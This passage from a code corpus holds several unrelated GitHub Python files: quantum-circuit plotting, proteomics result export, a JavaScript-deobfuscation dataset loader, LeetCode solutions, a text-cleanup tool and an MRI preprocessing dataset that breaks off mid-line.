draw_gates(ax,schedule,labels,gate_grid,wire_grid,plot_params,measured,schedule=True)\n return ax\n\n\nplot_quantum_schedule([[(H,q0)]])\n\nplot_quantum_schedule([[(H,q0)],[(CNOT,q1,q0)]])\n\nj0,j1,j2,s1,s2 = 'j_0','j_1','j_2','\\psi_1','\\psi_2' # labeler puts in the r$$ stuff\nplot_quantum_schedule([[(H,j0),(H,j1),(H,j2)],[(r'$U^4$',s1,j0),(r'$U^4$',s2,j0)],\n [(r'$U^2$',s1,j1),(r'$U^2$',s2,j1)],[(r'$U$',s1,j2),(r'$U$',s2,j2)],\n [(H,j0)],[(S,j1,j0)],[(H,j1)],[(T,j2,j0)],[(S,j2,j1)],[(H,j2)],\n [(M,j0),(M,j1),(M,j2)]],\n labels=(j0,j1,j2,s1,s2),inits={j0:0,j1:0,j2:0},scale=0.6)\n\ndef make_schedule(gates):\n schedule = [[]]\n current_tic = schedule[-1]\n qubits_in_current_tic = set()\n for gate in gates:\n qubits = set(gate[1:])\n if qubits_in_current_tic.intersection(qubits): \n # Qubits already in tic, create new tic\n current_tic = [gate]\n qubits_in_current_tic = qubits\n schedule.append(current_tic)\n else:\n # Add to current tic\n current_tic.append(gate)\n qubits_in_current_tic = qubits_in_current_tic.union(qubits)\n return schedule\n\ngates = [(H,j0),(H,j1),(H,j2),(r'$U^4$',s1,j0),(r'$U^4$',s2,j0),\n (r'$U^2$',s1,j1),(r'$U^2$',s2,j1),(r'$U$',s1,j2),(r'$U$',s2,j2),\n (H,j0),(S,j1,j0),(H,j1),(T,j2,j0),(S,j2,j1),(H,j2),\n (M,j0),(M,j1),(M,j2)]\n\nplot_quantum_circuit(gates)\n\nplot_quantum_schedule(make_schedule(gates))\n\ndef multiqubit_box(ax,istep,minq,maxq,labels,gate_grid,wire_grid,plot_params,label=''):\n dx = 0.25\n dy = 0.25\n minwire = get_flipped_index(minq,labels)\n maxwire = get_flipped_index(maxq,labels)\n \n rectangle(ax,gate_grid[istep]-dx,gate_grid[istep]+dx,\n wire_grid[minwire]-dy,wire_grid[maxwire]+dy,label=label)\n return\n\n\ndef rectangle(ax,x1,x2,y1,y2,label=''):\n Rectangle = matplotlib.patches.Rectangle\n x = min(x1,x2)\n y = min(y1,y2)\n w = abs(x2-x1)\n h = abs(y2-y1)\n xm = x+w/2.\n ym = y+h/2.\n print (x,y,w,h,xm,ym)\n rect = Rectangle((x,y),w,h,ec='k',fc='w',fill=True,lw=1,label=label)\n ax.add_patch(rect)\n if label:\n ax.text(xm,ym,label,ha='center',color='k')\n return\n \n\nplot_params = dict(scale = 1.0,fontsize = 14.0, linewidth = 1.0, \n control_radius = 0.05, not_radius = 0.15, \n swap_delta = 0.08, label_buffer = 0.0)\n\nax = plot_quantum_circuit([(H,q1),(CNOT,q1,q0)],labels=[q0,q1])\n#r = matplotlib.patches.Rectangle((-0.25,-0.25),0.5,1.5,ec='k',fc='w',fill=True,lw=1.0)\n#ax.add_patch(r)\n#ax.text(0,0.5,\"Hi\",ha=\"center\")\n\n#color='k',ha='center',va='center',bbox=bbox,size=fontsize\nrectangle(ax,-0.25,0.25,-0.25,1.25,'hi')\n# ax.text(x,y,textstr,color='k',ha='center',va='center',bbox=bbox,size=fontsize)\n \n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/PlotQCircuit.py","file_name":"PlotQCircuit.py","file_ext":"py","file_size_in_byte":14400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"42517535579","text":"# ---------------------------------------------------------------------\n# FragPipe Limited-Proteolysis Processor by Edgar Manriquez-Sandoval\n# Stephen D. Fried Lab @ The Johns Hopkins University\n# ---------------------------------------------------------------------\n\nimport pandas as pd\nfrom pathlib import Path\n\n\ndef error(s, *args):\n print(\"ERROR:\")\n print(f\"\\t{s}\")\n if args:\n for sarg in args:\n print(f\"\\t{sarg}\")\n print(\"Exiting program\")\n exit(1)\n\n\ndef notice(s, *args):\n print(\"NOTICE:\")\n print(f\"\\t{s}\")\n if args:\n for sarg in args:\n print(f\"\\t{sarg}\")\n\n\ndef msg(s, *args):\n print(s)\n if args:\n for sarg in args:\n print(sarg)\n\n\ndef print_to_excel(data, headers, write_path):\n df = pd.json_normalize(data)\n df = df[headers]\n df.to_excel(write_path, index=False)\n\n\ndef output_ion_data(ions: list, cond: str, params: object):\n cond_reps = params.condition_replicates[cond]\n out_path = params.cond_out_paths[cond]\n\n header_keys = [\n \"Peptide Sequence\",\n \"Modified Sequence\",\n \"Prev AA\",\n \"Next AA\",\n \"Start\",\n \"End\",\n \"Peptide Length\",\n \"M/Z\",\n \"Charge\",\n \"Compensation Voltage\",\n \"Assigned Modifications\",\n \"Protein\",\n \"Protein ID\",\n \"Entry Name\",\n \"Gene\",\n \"Protein Description\",\n \"Mapped Genes\",\n \"Mapped Proteins\",\n ]\n\n rep_keys = [rep for rep in params.control_replicates]\n rep_keys += [rep for rep in cond_reps]\n\n rep_keys = [\n f\"{rep} {hk}\"\n for hk in [\"Spectral Count\", \"Apex Retention Time\", \"Intensity\", \"Match Type\"]\n for rep in rep_keys\n ]\n\n header_keys += rep_keys\n header_keys += [\n \"Log2 FC\",\n \"Log10 P-Value\",\n \"Log10 Adj. P-Value\",\n \"P-Value\",\n \"Adj. P-Value\",\n \"CV\",\n ]\n\n write_path = Path(\n out_path, f\"{params.prefix}{cond}_v_{params.control_annotation}_ions.xlsx\"\n )\n print_to_excel(ions, header_keys, write_path)\n\n\ndef output_norm_protein_data(proteins: list, cond: str, params: object):\n cont_reps = params.norm_control_replicates\n cond_reps = params.norm_condition_replicates[cond]\n out_path = params.cond_out_paths[cond]\n\n header_keys = [\n \"Protein\",\n \"Protein ID\",\n \"Entry Name\",\n \"Gene\",\n \"Protein Length\",\n \"Organism\",\n \"Protein Existence\",\n \"Description\",\n \"Protein Probability\",\n \"Top Peptide Probability\",\n \"Combined Total Peptides\",\n \"Indistinguishable Proteins\",\n ]\n\n rep_keys = [rep for rep in cont_reps]\n rep_keys += [rep for rep in cond_reps]\n\n rep_keys = [\n f\"{rep} {hk}\"\n for hk in [\"Spectral Count\", \"MaxLFQ Intensity\"]\n for rep in rep_keys\n ]\n\n header_keys += rep_keys\n header_keys += [\"Log2 FC\", \"Log10 P-Value\", \"CV\"]\n\n write_path = Path(\n out_path,\n f\"{params.prefix}{cond}_v_{params.control_annotation}_normalization_factors.xlsx\",\n )\n print_to_excel(proteins.values(), header_keys, write_path)\n\n\ndef output_peptide_data(\n peptides: list, fixed_headers: list, filename: str, cond: str, params: object\n):\n out_path = params.cond_out_paths[cond]\n\n write_path = Path(\n out_path, f\"{params.prefix}{cond}_v_{params.control_annotation}_{filename}.xlsx\"\n )\n header_keys = (\n [\n \"Item ID\",\n ]\n + fixed_headers\n + [\n \"No. of Ions\",\n \"Log2 FC\",\n \"Normalized Log2 FC\",\n \"Log10 P-Value\",\n \"Log10 Adj. P-Value\",\n \"P-Value\",\n \"Adj. P-Value\",\n \"CV\",\n ]\n )\n\n print_to_excel(peptides, header_keys, write_path)\n\n\ndef output_protein_data(proteins: list, cond: str, params: object):\n out_path = params.cond_out_paths[cond]\n\n write_path = Path(\n out_path,\n f\"{params.prefix}{cond}_v_{params.control_annotation}_protein_summary.xlsx\",\n )\n\n header_keys = [\n \"Protein ID\",\n \"Gene\",\n \"No. of Ions\",\n \"No. of Modified Peptides\",\n \"No. of Modified Peptides (Valid P-Value)\",\n \"No. of Modified Peptides (Significant P-Value)\",\n \"No. of Modified Peptides (Valid Adj. P-Value)\",\n \"No. of Modified Peptides (Significant Adj. P-Value)\",\n \"No. of Peptides\",\n \"No. of Peptides (Valid P-Value)\",\n \"No. of Peptides (Significant P-Value)\",\n \"No. of Peptides (Valid Adj. P-Value)\",\n \"No. of Peptides (Significant Adj. P-Value)\",\n \"No. of Cut Sites\",\n \"No. of Cut Sites (Valid P-Value)\",\n \"No. of Cut Sites (Significant P-Value)\",\n \"No. of Cut Sites (Valid Adj. P-Value)\",\n \"No. of Cut Sites (Significant Adj. P-Value)\",\n ]\n\n print_to_excel(proteins, header_keys, write_path)\n","repo_name":"FriedLabJHU/FragPipe-Limited-Proteolysis-Processor","sub_path":"flippr/_flippr_io/_msg.py","file_name":"_msg.py","file_ext":"py","file_size_in_byte":4898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27391695328","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n This script is used to build data set objects.\n —————————————————\n usage: Usage is not independent\n\n Last commit info:\n ~~~~~~~~~~~~~~~~~\n $LastChangedDate: 2022/05/24\n $Annotation: Create.\n $Author: xiyan19\n\"\"\"\n\n\nfrom torch.utils.data import Dataset\nimport search\nimport pandas as pd\nimport numpy as np\nfrom sklearn import model_selection\nimport torch\nfrom torch.nn.utils.rnn import pad_sequence\nfrom torch.autograd import Variable\n\n\ndef get_label(x):\n if 'Benign' in x or 'benign' in x:\n return 0\n elif 'Malicious' in x or 'malicious' in x:\n return 1\n else:\n print('Label Error! Info: ' + str(x))\n exit(-1)\n\n\ndef subsequent_mask(size):\n \"\"\"Mask out subsequent positions.\"\"\"\n attn_shape = (1, size, size)\n\n subsequent_mask = np.triu(np.ones(attn_shape), k=1).astype('uint8')\n\n return torch.from_numpy(subsequent_mask) == 0\n\n\nclass Batch:\n \"\"\"Object for holding a batch of data with mask during training.\"\"\"\n def __init__(self, src_text, trg_text, src, trg=None, pad=None, device=None):\n self.src_text = src_text\n self.trg_text = trg_text\n src = src.to(device)\n self.src = src\n\n self.src_mask = (src != pad).unsqueeze(-2)\n \n if trg is not None:\n trg = trg.to(device)\n self.trg = trg[:, :-1]\n self.trg_y = trg[:, 1:]\n self.trg_mask = self.make_std_mask(self.trg, pad)\n self.ntokens = (self.trg_y != pad).data.sum()\n\n\n @staticmethod\n def make_std_mask(tgt, pad):\n \"\"\"Create a mask to hide padding and future words.\"\"\"\n tgt_mask = (tgt != pad).unsqueeze(-2)\n tgt_mask = tgt_mask & Variable(subsequent_mask(tgt.size(-1)).type_as(tgt_mask.data))\n return tgt_mask\n\n\nclass SeqDataset(Dataset):\n\n def __init__(self, l1_path=None, l2_path=None, dataframe=None, dict=None, model=None, maxlength=None, train=True, device=None):\n\n self.model = model\n self.dict = dict\n self.train = train\n self.device = device\n self.maxlength = maxlength\n self.PAD = 0 # 1\n # self.PAD = len(model.token2id)\n\n if dataframe is None:\n # l1_filelist = []\n # search.search_dir(l1_path, l1_filelist, 'seq')\n #\n # data = []\n # for l1_file in l1_filelist:\n # l2_file = l1_file.replace(l1_path, l2_path)\n # with open(l1_file, 'r') as f1:\n # row1 = f1.read()\n # l1_length = len(row1.split())\n # # with open(l2_file, 'r') as f2:\n # # row2 = f2.read()\n # data.append([l1_file, l2_file, l1_length])\n data = []\n with open(l1_path, 'r') as f:\n context1 = f.readlines()\n with open(l2_path, 'r') as f:\n context2 = f.readlines()\n for l1, l2 in zip(context1, context2):\n l2_length = len(l2)\n data.append([l1, l2, l2_length])\n\n self.df = pd.DataFrame(data, columns=['origin', 'obfuscation', 'length'])\n self.df['length'] = self.df['length'].astype(int)\n if self.train:\n self.df.sort_values(by='length', inplace=True, ascending=True)\n self.df = self.df.reset_index()\n else:\n self.df = dataframe\n\n def __len__(self):\n return len(self.df)\n\n def __getitem__(self, idx):\n origin_seq_ = self.df.origin[idx]\n origin_seq_ = [2] + self.model.EncodeAsIds(origin_seq_) + [3] # 1\n origin_seq_ = origin_seq_[:self.maxlength]\n\n obfs_seq_ = self.df.obfuscation[idx]\n obfs_seq_ = [2] + self.model.EncodeAsIds(obfs_seq_) + [3] # 1\n obfs_seq_ = obfs_seq_[:self.maxlength]\n\n origin_seq_index, obfs_seq_index = np.array(origin_seq_).astype(int), np.array(obfs_seq_).astype(int)\n origin_seq_index, obfs_seq_index = torch.from_numpy(origin_seq_index), torch.from_numpy(obfs_seq_index)\n\n origin_seq_text = self.model.decode_ids(origin_seq_)\n obfs_seq_text = self.model.decode_ids(obfs_seq_)\n\n return [obfs_seq_text, origin_seq_text, obfs_seq_index, origin_seq_index]\n # with open(self.df.origin[idx], 'r') as f:\n # origin_seq = f.read()\n # origin_seq = origin_seq.split(' ')\n # origin_seq = origin_seq[:self.maxlength]\n # origin_seq_ = []\n # for word in origin_seq:\n # origin_seq_.append(self.model.token2id[word])\n #\n # with open(self.df.obfuscation[idx], 'r') as f:\n # obfs_seq = f.read()\n # obfs_seq = obfs_seq.split(' ')\n # obfs_seq = obfs_seq[:self.maxlength]\n # obfs_seq_ = []\n # for word in obfs_seq:\n # obfs_seq_.append(self.model.token2id[word])\n #\n # origin_seq_index, obfs_seq_index = np.array(origin_seq_).astype(int), np.array(obfs_seq_).astype(int)\n # origin_seq_index, obfs_seq_index = torch.from_numpy(origin_seq_index), torch.from_numpy(obfs_seq_index)\n #\n # origin_seq_text = ' '.join(origin_seq).replace('Program ', '').replace(' End', '')\n # obfs_seq_text = ' '.join(obfs_seq).replace('Program ', '').replace(' End', '')\n #\n # return [obfs_seq_text, origin_seq_text, obfs_seq_index, origin_seq_index]\n\n def split(self, test=0.1):\n skf = model_selection.StratifiedShuffleSplit(n_splits=1, test_size=test, random_state=69)\n filelist = []\n # search.search_dir('/home/qy/JSObuAST/test/SEQ', filelist, 'seq')\n search.search_dir('/home/czx/pycharm/JSob/JSob_seq/origin/test', filelist, 'seq')\n self.df['filelist'] = filelist\n self.df['label'] = self.df['filelist'].apply(lambda x: get_label(x))\n for dev_index, test_index in skf.split(self.df, self.df['label']):\n dev_data, test_data = self.df.iloc[dev_index], self.df.iloc[test_index]\n\n dev_data.sort_values(by='length', inplace=True, ascending=True)\n test_data.sort_values(by='length', inplace=True, ascending=True)\n\n dev_data = dev_data.reset_index()\n test_data = test_data.reset_index()\n\n return SeqDataset(dataframe=dev_data, dict=self.dict, model=self.model, maxlength=self.maxlength, device=self.device), \\\n SeqDataset(dataframe=test_data, dict=self.dict, model=self.model, maxlength=self.maxlength, device=self.device)\n\n def collate_fn(self, batch):\n src_text = [x[0] for x in batch]\n tgt_text = [x[1] for x in batch]\n src_tokens = [x[2] for x in batch]\n tgt_tokens = [x[3] for x in batch]\n\n batch_input = pad_sequence([torch.LongTensor(np.array(l_)) for l_ in src_tokens],\n batch_first=True, padding_value=self.PAD)\n batch_target = pad_sequence([torch.LongTensor(np.array(l_)) for l_ in tgt_tokens],\n batch_first=True, padding_value=self.PAD)\n\n return Batch(src_text, tgt_text, batch_input, batch_target, self.PAD, self.device)\n","repo_name":"xiyan19/TransAST","sub_path":"transformer/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":7183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33425327572","text":"import heapq\nclass Solution:\n def twoCitySchedCost(self, costs: List[List[int]]) -> int:\n diff=[]\n minCost=0\n for a,b in costs:\n diff.append(b-a)\n minCost+=a\n heapq.heapify(diff)\n for i in range(len(costs)//2):\n minCost+=heapq.heappop(diff)\n return minCost","repo_name":"tanaychaulinsec/June-LeetCoding-Challenge","sub_path":"twoCitySchedCost.py","file_name":"twoCitySchedCost.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"11202782897","text":"import os\n\n\n\ndef resolver(input, output, justificado: bool, guion: bool):\n \n result = \"\"\n\n try:\n result = read_file(input)\n except FileNotFoundError:\n result = input\n \n print()\n\n if justificado:\n result = quitar_justificado(result)\n print('- Texto justificado')\n \n if guion:\n result = quitar_guiones(result)\n print('- Texto sin guiones ni salto de lineas')\n \n if output:\n save_file(output, result)\n print('- Resultado guardado en: {}'.format(output))\n else:\n print()\n print(result)\n\n\ndef quitar_justificado(texto: str):\n \n words = texto.split()\n text = ''\n\n for w in words:\n text += w + ' '\n \n return text\n\n\ndef quitar_guiones(texto: str):\n \n t = texto.split('\\n')\n text = ''\n\n for line in t:\n aux = line.replace('-', '')\n text += aux + ' '\n \n return text\n\n\nfile_dir = os.path.dirname(os.path.realpath('__file__'))\n\ndef read_file(input_file: str):\n file_name = os.path.join(file_dir, input_file)\n\n with open(file_name, \"r\") as file:\n content = file.readlines()\n\n text = ''\n\n for l in content:\n text += l\n\n return text\n\n\ndef save_file(output_file: str, content: str):\n file_name = os.path.join(file_dir, output_file)\n\n with open(file_name, \"a+\") as file:\n file.write(content)","repo_name":"alexismorison95/texto-herramientas","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30885569450","text":"class Solution:\n def majorityElement(self, nums: List[int]) -> int:\n mintimes = len(nums) // 2\n dct = {}\n for el in nums:\n if not el in dct:\n dct[el] = 1\n else:\n dct[el] += 1\n if dct[el] > mintimes:\n return el\n return None","repo_name":"shayans66/Leetcode-work","sub_path":"majority-element/majority-element.py","file_name":"majority-element.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27401381922","text":"from torch._C import dtype\nfrom utils.common import *\nfrom scipy import ndimage\nimport numpy as np\nfrom torchvision import transforms as T\nimport torch, os\nfrom torch.utils.data import Dataset, DataLoader\nfrom glob import glob\nimport logging\nimport SimpleITK as sitk\n\n\nclass Img_DataSet(Dataset):\n def __init__(self, data_path, args):\n self.n_labels = args.n_labels\n self.cut_size = args.test_cut_size\n self.cut_stride = args.test_cut_stride\n\n # 读取一个data文件并归一化 、resize\n try:\n logging.info('Preprocess on: {}'.format(data_path))\n self.new_ct, self.new_seg = self.process(data_path, self.n_labels)\n except RuntimeError:\n logging.warning('Failed on: {}'.format(data_path))\n self.resized_shape = self.new_ct.shape\n # 扩展一定数量的slices,以保证卷积下采样合理运算\n self.data_np = self.padding_img(self.new_ct, self.cut_size,self.cut_stride)\n self.padding_shape = self.data_np.shape\n # 对数据按步长进行分patch操作,以防止显存溢出\n self.data_np = self.extract_ordered_overlap(self.data_np, self.cut_size, self.cut_stride)\n\n # 读取一个label文件 shape:[s,h,w]\n # self.seg = sitk.ReadImage(label_path, sitk.sitkInt8)\n # self.label_np = sitk.GetArrayFromImage(self.seg)\n # 对label文件进行和data文件一样的裁剪操作,这样在分割好之后才可以进行损失计算\n # self.label_np = ndimage.zoom(self.label_np, (args.slice_down_scale, args.xy_down_scale, args.xy_down_scale),\n # order=3) # 双三次重采样\n self.label_np = self.new_seg\n if self.n_labels==2:\n self.label_np[self.label_np > 0] = 1\n self.label = torch.from_numpy(np.expand_dims(self.label_np,axis=0)).long()\n\n # 预测结果保存\n self.result = None\n\n def __getitem__(self, index):\n data = torch.from_numpy(self.data_np[index])\n # data = torch.FloatTensor(data).unsqueeze(0)\n return data\n\n def __len__(self):\n return len(self.data_np)\n\n def update_result(self, tensor):\n # tensor = tensor.detach().cpu() # shape: [N,class,s,h,w]\n # tensor_np = np.squeeze(tensor_np,axis=0)\n if self.result is not None:\n self.result = torch.cat((self.result, tensor), dim=0)\n else:\n self.result = tensor\n\n def recompone_result(self):\n\n print('self.result.shape', self.result.shape)\n patch_s = self.result.shape[2] # 48\n print('self.padding_shape[0]', self.padding_shape)\n N_patches_img = (self.padding_shape[1] - patch_s) // self.cut_stride + 1\n assert (self.result.shape[0] == N_patches_img)\n print('self.resized_shape', self.resized_shape)\n full_prob = torch.zeros((self.n_labels, self.padding_shape[1], self.resized_shape[2], self.resized_shape[3]\n )) # itialize to zero mega array with sum of Probabilities\n full_sum = torch.zeros(\n (self.n_labels, self.padding_shape[1], self.resized_shape[2], self.resized_shape[3]))\n\n for s in range(N_patches_img):\n full_prob[:, s * self.cut_stride:s * self.cut_stride + patch_s, :, :] += self.result[\n s] # 这里报错,原始尺寸的高度和宽度是512*512,results的是256*256,相加显然报错\n full_sum[:, s * self.cut_stride:s * self.cut_stride + patch_s, :, :] += 1\n\n print('torch.min(full_sum)', torch.min(full_sum), torch.max(full_sum))\n assert (torch.min(full_sum) >= 1.0) # at least one\n final_avg = full_prob / full_sum\n # print(final_avg.size())\n print('torch.min(full_sum)', torch.min(full_prob), torch.max(full_prob))\n #assert (torch.max(final_avg) <= 1.0) # max value for a pixel is 1.0\n assert (torch.min(final_avg) >= 0.0) # min value for a pixel is 0.0\n img = final_avg[:, :self.resized_shape[1], :self.resized_shape[2], :self.resized_shape[3]]\n print('img.shape', img.shape)\n # 这里将192*224*深度的预测图像返回到原始尺寸\n\n return img.unsqueeze(0) # 这里好像有点问题,晚上试一下\n\n def normalize(self, slice, bottom=99, down=1):\n \"\"\"\n normalize image with mean and std for regionnonzero,and clip the value into range\n :param slice:\n :param bottom:\n :param down:\n :return:\n \"\"\"\n b = np.percentile(slice, bottom)\n t = np.percentile(slice, down)\n slice = np.clip(slice, t, b)\n\n image_nonzero = slice[np.nonzero(slice)]\n if np.std(slice) == 0 or np.std(image_nonzero) == 0:\n return slice\n else:\n tmp = (slice - np.mean(image_nonzero)) / np.std(image_nonzero)\n # since the range of intensities is between 0 and 5000 ,\n # the min in the normalized slice corresponds to 0 intensity in unnormalized slice\n # the min is replaced with -9 just to keep track of 0 intensities\n # so that we can discard those intensities afterwards when sampling random patches\n tmp[tmp == tmp.min()] = -9\n return tmp\n\n def resample_image(self, itk_image, out_spacing=[1.0, 1.0, 2.0], resamplemethod=sitk.sitkNearestNeighbor):\n \"\"\"\n 用itk方法将原始图像resample到与目标图像一致\n :param ori_img: 原始需要对齐的itk图像\n :param target_img: 要对齐的目标itk图像\n :param resamplemethod: itk插值方法: sitk.sitkLinear-线性 sitk.sitkNearestNeighbor-最近邻\n :return:img_res_itk: 重采样好的itk图像\n \"\"\"\n\n original_spacing = itk_image.GetSpacing()\n original_size = itk_image.GetSize()\n\n # 根据输出out_spacing设置新的size\n out_size = [\n int(np.round(original_size[0] * original_spacing[0] / out_spacing[0])),\n int(np.round(original_size[1] * original_spacing[1] / out_spacing[1])),\n int(np.round(original_size[2] * original_spacing[2] / out_spacing[2]))\n ]\n\n resample = sitk.ResampleImageFilter()\n resample.SetReferenceImage(itk_image) # 需要重新采样的目标图像\n resample.SetOutputSpacing(out_spacing)\n resample.SetSize(out_size)\n resample.SetOutputDirection(itk_image.GetDirection())\n resample.SetOutputOrigin(itk_image.GetOrigin())\n resample.SetTransform(sitk.Transform())\n # resample.SetDefaultPixelValue(itk_image.GetPixelIDValue())\n # 根据需要重采样图像的情况设置不同的dype\n if resamplemethod == sitk.sitkNearestNeighbor:\n resample.SetOutputPixelType(sitk.sitkUInt8) # 近邻插值用于mask的,保存uint8\n else:\n resample.SetOutputPixelType(sitk.sitkFloat32) # 线性插值用于PET/CT/MRI之类的,保存float32\n\n # resampler.SetTransform(sitk.Transform(3, sitk.sitkIdentity))\n resample.SetInterpolator(resamplemethod)\n # resample.SetInterpolator(sitk.sitkBSpline)\n\n return resample.Execute(itk_image)\n\n def process(self, data_path, classes=None):\n anli_name = os.path.basename(data_path)\n ct_t2_path = os.path.join(data_path, anli_name+'_t2.nii.gz')\n ct_t1_path = os.path.join(data_path, anli_name+'_t1.nii.gz')\n ct_flair_path = os.path.join(data_path, anli_name+'_t2flair.nii.gz')\n seg_path = os.path.join(data_path, anli_name+'.nii.gz')\n ct_t2 = sitk.ReadImage(ct_t2_path, sitk.sitkInt16)\n ct_t1 = sitk.ReadImage(ct_t1_path, sitk.sitkInt16)\n ct_flair = sitk.ReadImage(ct_flair_path, sitk.sitkInt16)\n seg = sitk.ReadImage(seg_path, sitk.sitkInt8)\n\n # 重采样\n resample_spacing = [0.4688, 0.4688, 1.55]\n ct_t2 = self.resample_image(ct_t2, out_spacing=resample_spacing, resamplemethod=sitk.sitkLinear)\n ct_t1_af_r = self.resample_image(ct_t1, out_spacing=resample_spacing, resamplemethod=sitk.sitkLinear)\n ct_flair = self.resample_image(ct_flair, out_spacing=resample_spacing, resamplemethod=sitk.sitkLinear)\n seg = self.resample_image(seg, out_spacing=resample_spacing, resamplemethod=sitk.sitkNearestNeighbor)\n\n print('Spacing_and_dimension_bf_resample', ct_t1_af_r.GetSpacing(), ct_t1_af_r.GetWidth(),\n ct_t1_af_r.GetHeight(),\n ct_t1_af_r.GetDepth())\n\n ct_t2_array = sitk.GetArrayFromImage(ct_t2)\n ct_t1_array = sitk.GetArrayFromImage(ct_t1_af_r)\n ct_flair_array = sitk.GetArrayFromImage(ct_flair)\n seg_array = sitk.GetArrayFromImage(seg)\n print(\"Ori shape:\", ct_t2_array.shape, seg_array.shape)\n if classes == 2:\n # 将金标准中肝脏和肝肿瘤的标签融合为一个\n seg_array[seg_array > 0] = 1\n\n # 颅脑bunding box\n # 垂直失状位这个轴RL(x)\n ct_RL = np.any(ct_t2_array, axis=(0, 1))\n RL_start_slice, RL_end_slice = np.where(ct_RL)[0][[0, -1]]\n # 垂直冠状面这个轴AP(y)\n ct_AP = np.any(ct_t2_array, axis=(0, 2))\n AP_start_slice, AP_end_slice = np.where(ct_AP)[0][[0, -1]]\n # # 垂直水平面这个轴SI(z)\n ct_SI = np.any(ct_t2_array, axis=(1, 2))\n SI_start_slice, SI_end_slice = np.where(ct_SI)[0][[0, -1]]\n # 提取\n ct_t2_array = ct_t2_array[SI_start_slice:SI_end_slice, AP_start_slice:AP_end_slice, RL_start_slice:RL_end_slice]\n ct_t1_array = ct_t1_array[SI_start_slice:SI_end_slice, AP_start_slice:AP_end_slice, RL_start_slice:RL_end_slice]\n ct_flair_array = ct_flair_array[SI_start_slice:SI_end_slice, AP_start_slice:AP_end_slice,\n RL_start_slice:RL_end_slice]\n seg_array = seg_array[SI_start_slice:SI_end_slice, AP_start_slice:AP_end_slice, RL_start_slice:RL_end_slice]\n print(\"Preprocessed_crop shape:\", ct_t2_array.shape, seg_array.shape)\n # # 这里的shape的顺序是zyx(SI-AP-RL),在itk-snap的切片中的顺序是xyz(RL-AP-SI),刚好反了一下。\n\n # Fill and crop到指定大小\n SI_2_AP = [320, 320]\n delta_0 = round(abs(ct_t2_array.shape[1] - SI_2_AP[0]) / 2)\n delta_1 = round(abs(ct_t2_array.shape[2] - SI_2_AP[1]) / 2)\n if delta_0 + delta_1 != 0:\n if ct_t2_array.shape[1] >= SI_2_AP[0] and ct_t2_array.shape[2] >= SI_2_AP[1]: # 宽度,高度方向需要裁剪\n tmp_ct_t2 = ct_t2_array[:, delta_0:SI_2_AP[0] + delta_0, delta_1:SI_2_AP[1] + delta_1]\n tmp_ct_t1 = ct_t1_array[:, delta_0:SI_2_AP[0] + delta_0, delta_1:SI_2_AP[1] + delta_1]\n tmp_ct_flair = ct_flair_array[:, delta_0:SI_2_AP[0] + delta_0, delta_1:SI_2_AP[1] + delta_1]\n tmp_seg = seg_array[:, delta_0:SI_2_AP[0] + delta_0, delta_1:SI_2_AP[1] + delta_1]\n elif ct_t2_array.shape[1] <= SI_2_AP[0] and ct_t2_array.shape[2] <= SI_2_AP[1]: # 宽度,高度方向需要填充\n tmp_ct_t2 = np.zeros((ct_t2_array.shape[0], SI_2_AP[0], SI_2_AP[1]))\n tmp_ct_t1 = np.zeros(tmp_ct_t2.shape)\n tmp_ct_flair = np.zeros(tmp_ct_t2.shape)\n tmp_seg = np.zeros(tmp_ct_t2.shape)\n\n tmp_ct_t2[:, delta_0:ct_t2_array.shape[1] + delta_0,\n delta_1:ct_t2_array.shape[2] + delta_1] = ct_t2_array\n tmp_ct_t1[:, delta_0:ct_t2_array.shape[1] + delta_0,\n delta_1:ct_t2_array.shape[2] + delta_1] = ct_t1_array\n tmp_ct_flair[:, delta_0:ct_t2_array.shape[1] + delta_0,\n delta_1:ct_t2_array.shape[2] + delta_1] = ct_flair_array\n tmp_seg[:, delta_0:ct_t2_array.shape[1] + delta_0, delta_1:ct_t2_array.shape[2] + delta_1] = seg_array\n\n elif ct_t2_array.shape[1] >= SI_2_AP[0] and ct_t2_array.shape[2] < SI_2_AP[1]: # 宽度需要裁剪,高度需要填充\n # 宽度裁剪\n tmp_ct_t2_1 = ct_t2_array[:, delta_0:SI_2_AP[0] + delta_0, :]\n tmp_ct_t1_1 = ct_t1_array[:, delta_0:SI_2_AP[0] + delta_0, :]\n tmp_ct_flair_1 = ct_flair_array[:, delta_0:SI_2_AP[0] + delta_0, :]\n tmp_seg_1 = seg_array[:, delta_0:SI_2_AP[0] + delta_0, :]\n\n # 高度填充\n tmp_ct_t2 = np.zeros((ct_t2_array.shape[0], SI_2_AP[0], SI_2_AP[1]))\n tmp_ct_t1 = np.zeros(tmp_ct_t2.shape)\n tmp_ct_flair = np.zeros(tmp_ct_t2.shape)\n tmp_seg = np.zeros(tmp_ct_t2.shape)\n\n tmp_ct_t2[:, :, delta_1:tmp_ct_t2_1.shape[2] + delta_1] = tmp_ct_t2_1\n tmp_ct_t1[:, :, delta_1:tmp_ct_t2_1.shape[2] + delta_1] = tmp_ct_t1_1\n tmp_ct_flair[:, :, delta_1:tmp_ct_t2_1.shape[2] + delta_1] = tmp_ct_flair_1\n tmp_seg[:, :, delta_1:tmp_ct_t2_1.shape[2] + delta_1] = tmp_seg_1\n\n else: # ct_t2_array.shape[1] >= SI_2_AP[0] and ct_t2_array.shape[2] >= SI_2_AP[1]: # 宽度需要填充,高度需要裁剪\n # 高度裁剪\n tmp_ct_t2_1 = ct_t2_array[:, :, delta_1:SI_2_AP[1] + delta_1]\n tmp_ct_t1_1 = ct_t1_array[:, :, delta_1:SI_2_AP[1] + delta_1]\n tmp_ct_flair_1 = ct_flair_array[:, :, delta_1:SI_2_AP[1] + delta_1]\n tmp_seg_1 = seg_array[:, :, delta_1:SI_2_AP[1] 